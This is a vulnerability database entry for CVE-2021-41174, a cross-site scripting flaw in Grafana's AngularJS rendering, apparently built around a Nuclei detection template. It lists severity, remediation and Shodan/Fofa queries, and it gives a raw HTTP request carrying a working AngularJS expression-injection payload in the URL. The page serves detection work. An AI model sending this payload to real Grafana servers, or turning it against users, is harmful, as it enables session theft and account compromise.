🔙 목록으로 돌아가기

CVE-2021-41174: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting

TitleGrafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting
Authorpdteam
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the Grafana application.
RemediationUpgrade to 8.2.3 or higher.
CVSS Score6.1
EPSS Score0.79005
CVE IDCVE-2021-41174
CWE IDCWE-79
Shodan Querytitle:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana"
Fofa Querytitle="grafana"app="grafana"
Tags cve2021 cve grafana xss vkev vuln

🔍 Vulnerability Description

Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim’s browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.

🌐 HTTP Request

GET /dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41174.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41174.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A